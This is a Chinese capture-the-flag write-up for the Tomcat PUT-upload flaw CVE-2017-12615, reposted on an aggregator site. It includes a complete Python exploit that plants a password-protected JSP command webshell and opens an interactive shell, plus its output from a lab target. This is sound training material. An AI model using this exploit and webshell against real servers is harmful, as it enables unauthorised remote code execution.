BUUCTF-Real-[Tomcat]CVE-2017-12615

目录

漏洞描述

一、漏洞编号:CVE-2017-12615

二、漏洞复现

get flag

漏洞描述

CVE-2017-12615:远程代码执行漏洞

影响范围:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。


通过 PUT 方法的 Tomcat 任意写入文件漏洞

一、漏洞编号:CVE-2017-12615

漏洞简述:Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。

CVE-2017-12615:远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。

靶机:自搭vulhub

攻击IP:本机

二、漏洞复现

1、开启漏洞环境

cd/vulhub/tomcat/CVE-2017-12615

docker-compose up -d

docker ps

2、进入漏洞页面

当你想登录进入,会发现直接报错403。

3、进行抓包,因为漏洞开启了readonly=false这个权限,所以我们可以进行远程代码执行。

我们可以通过上传哥斯拉jsp包达到RCE目的。

那么首先我们就要用哥斯拉生成一个木马,当然后缀是jsp的。

我们在数据包里把GET类型改成PUT类型,后面加上任意自己起的名字,例如shell.jsp

如下数据包,这个就是修改后的数据包

在哥斯拉中,我们选择 管理—>生成—>生成—>jsp后缀木马

做完这一切之后,我们去网页访问shell.jsp。

会发现没有任何显示,这样就对了,我们再用哥斯拉进行连接。具体操作:

目标—>添加—>填写目标url—>连接

可以看到,我们已经可以进入主机执行任意命令了,这样我们就getshell啦!


get flag

我们使用exp进行漏洞测试


#CVE-2017-12615 EXP
__author__ = ' RX '
import requests
import optparse
import timeparse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'''
#上传木马文件
def upload(url):print('[*] 目标地址:'+url)try:respond = requests.put(url+filename+'/',headers=headers,data = data)#print(respond.status_code)if respond.status_code == 201 or respond.status_code == 204:#print('[*] 目标地址:'+url)print('[+] 木马上传成功')except Exception as e:print('[-] 上传失败')return 0#命令执行
def attack(url,cmd):try:respond = requests.get(url+payload+cmd)if respond.status_code == 200:print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())except Exception as e:print('[-] 命令执行错误')
if upload(url) == 0:exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):cmd = input('>>>')if(cmd == 'quit'):breakattack(url,cmd)

┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492     
[+] http://node5.buuoj.cn:26492 存在CVE-2017-12615 Tomcat 任意文件读写漏洞

┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492 
[*] 目标地址:http://node5.buuoj.cn:26492
[+] 木马上传成功
输入执行命令(quit退出):
>>>whoami
root>>>ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work>>>cd /
>>>ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work>>>pwd
/usr/local/tomcat>>>cd /root
>>>ls -al
total 88
drwxr-sr-x 1 root staff    57 Jul 31  2017 .
drwxrwsr-x 1 root staff    20 Jul 31  2017 ..
-rw-r----- 1 root root  57092 Jul 24  2017 LICENSE
-rw-r----- 1 root root   1723 Jul 24  2017 NOTICE
-rw-r----- 1 root root   7064 Jul 24  2017 RELEASE-NOTES
-rw-r----- 1 root root  15946 Jul 24  2017 RUNNING.txt
drwxr-x--- 2 root root    313 Jul 31  2017 bin
drwx--S--- 1 root root     22 Feb  7 08:59 conf
drwxr-sr-x 3 root staff    19 Jul 31  2017 include
drwxr-x--- 2 root root   4096 Jul 31  2017 lib
drwxr-x--- 1 root root    177 Feb  7 08:59 logs
drwxr-sr-x 3 root staff   151 Jul 31  2017 native-jni-lib
drwxr-x--- 2 root root     30 Jul 31  2017 temp
drwxr-x--- 1 root root     18 Jul 24  2017 webapps
drwxr-x--- 1 root root     22 Feb  7 08:59 work
>>>env
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib
CATALINA_HOME=/usr/local/tomcat
LANG=C.UTF-8
HOSTNAME=out
OPENSSL_VERSION=1.1.0f-3
TOMCAT_VERSION=8.5.19
GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23
JAVA_HOME=/docker-java-home/jre
TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1
TOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz.asc
JAVA_VERSION=8u141
TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz
KUBERNETES_PORT=tcp://10.240.0.1:443
PWD=/usr/local/tomcat
HOME=/root
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
CA_CERTIFICATES_JAVA_VERSION=20170531+nmu1
TOMCAT_MAJOR=8
JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1
KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443
FLAG=flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}
SHLVL=0
KUBERNETES_SERVICE_PORT=443
PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_SERVICE_HOST=10.240.0.1
直接运行env即可!打印出环境变量!
flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/675344.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MVC模式Nodejs+express+Mysql开发后台

想给自己的博客做个后台&#xff0c;一开始考虑的是java开发&#xff0c;然后把idea和一堆东西勤勤恳恳安装完了之后&#xff0c;心里一想&#xff0c;算了&#xff0c;咱就nodejs不方便多了&#xff0c;于是开始Nodejs开发后台。 Java和idea环境安装 安装jdk(1.8)安装idea&…

Qlik Sense : where exists

什么是Exists函数 Exists() 用于确定是否已经将特定字段值加载到数据加载脚本中的字段。此函数用于返回 TRUE 或 FALSE&#xff0c;这样它可以用于 LOAD 语句或 IF 语句中的 where 子句。 信息注释您也可使用 Not Exists() 来确定是否尚未加载字段值&#xff0c;但是如果要在…

Excel+VBA处理高斯光束

文章目录 1 图片导入与裁剪2 获取图片数据3 数据拟合 1 图片导入与裁剪 插入图片没什么好说的&#xff0c;新建Excel&#xff0c;【插入】->【图片】。 由于图像比较大&#xff0c;所以要对数据进行截取&#xff0c;选中图片之后&#xff0c;点击选项卡右端的【图片格式】…

【JavaWeb】头条新闻项目实现 基本增删改查 分页查询 登录注册校验 业务功能实现 第二期

文章目录 一、为什么使用token口令二、登录注册功能2.1 登录表单提交后端代码&#xff1a; 2.2 根据token获取完整用户信息代码实现&#xff1a; 2.3 注册时用户名占用校验代码实现&#xff1a; 2.4 注册表单提交代码实现&#xff1a; 三、头条首页功能3.1 查询所有头条分类3.2…

打卡今天学习 Linux

过年了&#xff0c;祝大家过年快乐 在今天的学习中&#xff0c;我们涉及了一些关键的 Linux 系统管理知识点&#xff0c;包括 systemctl、IP 地址配置、域名解析、映射的创建、软链接等。让我们简要回顾一下这些主题。 1. systemctl systemctl 是一个强大的 Linux 系统管理工…

docker自定义镜像并使用

写在前面 本文看下如何自定义镜像。 ik包从这里 下载。 1&#xff1a;自定义带有ik的es镜像 先看下目录结构&#xff1a; /opt/program/mychinese [rootlocalhost mychinese]# ll total 16 -rw-r--r-- 1 root root 1153 Feb 5 04:18 docker-compose.yaml -rw-rw-r-- 1 el…

利巴韦林市场规模及厂商格局分析

利巴韦林又名病毒唑&#xff0c;是一种合成鸟苷类似物&#xff0c;对多种DNA和RNA病毒具有广谱活性&#xff0c;可干扰病毒mRNA的合成。利巴韦林1970年由ICN制药公司发现&#xff0c;1986年被批准临床应用&#xff0c;通常与干扰素药物&#xff08;如聚乙二醇干扰素α-2a或聚乙…

开源大型语言模型概览:多语种支持与中文专注

开源大型语言模型概览&#xff1a;多语种支持与中文专注 开源大型语言模型概览&#xff1a;多语种支持与中文专注什么是大型语言模型如何工作大型语言模型的发展应用领域 开源大语言模型概览支持多种语言的开源LLMsLLaMA&#xff08;由Meta开发&#xff09;BERT&#xff08;由G…

什么是Java中的类加载器(ClassLoader),并举例说明不同类型的类加载器?

什么是Java中的类加载器&#xff08;ClassLoader&#xff09;&#xff0c;并举例说明不同类型的类加载器&#xff1f; 在Java中&#xff0c;类加载器&#xff08;ClassLoader&#xff09;是负责加载 Java 类文件的重要组件之一。ClassLoader 将字节码数据加载到 JVM 中&#x…

vue-cil的watch函数详解

在Vue中&#xff0c;watch是一个非常有用的API&#xff0c;用于侦听一个响应式引用&#xff08;例如由ref创建&#xff09;或响应式对象&#xff08;由reactive创建&#xff09;的属性&#xff0c;并在值变化时执行回调函数。Vue 3的Composition API引入了这种侦听方式&#xf…

Vue 3 + Koa2 + MySQL 开发和上线部署个人网站

Vue 3 Koa2 MySQL 开发和上线部署个人网站 记录个人的一个操作步骤, 顺序不分先后, 嫌啰嗦请出门右转! 环境说明: 服务器: 阿里云轻量应用服务器 服务器系统: CentOS8.2 本地环境: macOS 12.7.2 Node: 20.10.0 MySQL: 8.0.26 Vue: 3.3.11 Koa: 2.7.0 pm2: 5.3.1 Nginx: 1.1…

CTFshow web(php命令执行 45-49)

基础知识&#xff1a; 1.绕过cat使用&#xff1a; tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev 2.绕过空格用&#xff1a; %09 <> ${IFS} $IFS$ {cat,fl*} %20 注&#xff1a; %09 ##&#xff08;Tab&#xff09; %20 ##&#xff08;spa…

请手写几种js排序算法

什么是排序算法 冒泡排序选择排序插入排序快速排序归并排序&#xff08;Merge Sort&#xff09; 思想实现测试分析动画 快速排序 &#xff08;Quick Sort&#xff09; 思想实现测试分析动画 思考&#xff1a;快排和归并用的都是分治思想&#xff0c;递推公式和递归代码也非常相…

Linux下的socket操作

一、TCP服务端 创建一个TCP服务器的基本操作&#xff1a; 创建一个套接字&#xff08;socket&#xff09;&#xff1a;使用socket函数绑定套接字&#xff08;socket&#xff09;:将套接字绑定到一个特定的IP地址和端口号上&#xff0c;这些信息要用结构体sockaddr_in来保存监…

vue3 之 商城项目—一级分类

整体认识和路由配置 场景&#xff1a;点击哪个分类跳转到对应的路由页面&#xff0c;路由传对应的参数 router/index.js import { createRouter, createWebHashHistory } from vue-router import Layout from /views/Layout/index.vue import Home from /views/Home/index.vu…

Spring Boot + 七牛OSS: 简化云存储集成

引言 Spring Boot 是一个非常流行的、快速搭建应用的框架&#xff0c;它无需大量的配置即可运行起来&#xff0c;而七牛云OSS提供了稳定高效的云端对象存储服务。利用两者的优势&#xff0c;可以为应用提供强大的文件存储功能。 为什么选择七牛云OSS? 七牛云OSS提供了高速的…

Akamai 如何揪出微软 RPC 服务中的漏洞

近日&#xff0c;Akamai研究人员在微软Windows RPC服务中发现了两个重要漏洞&#xff1a;严重程度分值为4.3的CVE-2022-38034&#xff0c;以及分值为8.8的CVE-2022-38045。这些漏洞可以利用设计上的瑕疵&#xff0c;通过缓存机制绕过MS-RPC安全回调。我们已经确认&#xff0c;所…

nodejs+vue高校实验室耗材管理系统_m20vy

用户功能&#xff1a; 登录后要有一个首页 比如:可以看见目前的耗材消耗记录&#xff0c;可做成图表菜单栏在左侧显示 1.个人信息管理 可以对基本信息进行修改&#xff0c;(修改密码时需要验证) 2.耗材管理&#xff08;耗材信息&#xff09; 普通用户可以查询当前相关耗材信息[…

《走进科学》灵异事件:Nginx配置改了之后一直报错

想要安装WoWSimpleRegistration&#xff0c;就定下来要用nginxphp8 &#xff0c;结果nginx那里加上php的支持之后一直报错&#xff1a; $ sudo service nginx restart Job for nginx.service failed because the control process exited with error code. See "systemctl…

问题:银行账号建立以后,一般需要维护哪些设置,不包括() #学习方法#经验分享

问题&#xff1a;银行账号建立以后&#xff0c;一般需要维护哪些设置&#xff0c;不包括&#xff08;&#xff09; A&#xff0e;维护结算科目对照 B&#xff0e;期初余额初始化刷 C&#xff0e;自定义转账定义 D&#xff0e;对账单初始化 参考答案如图所示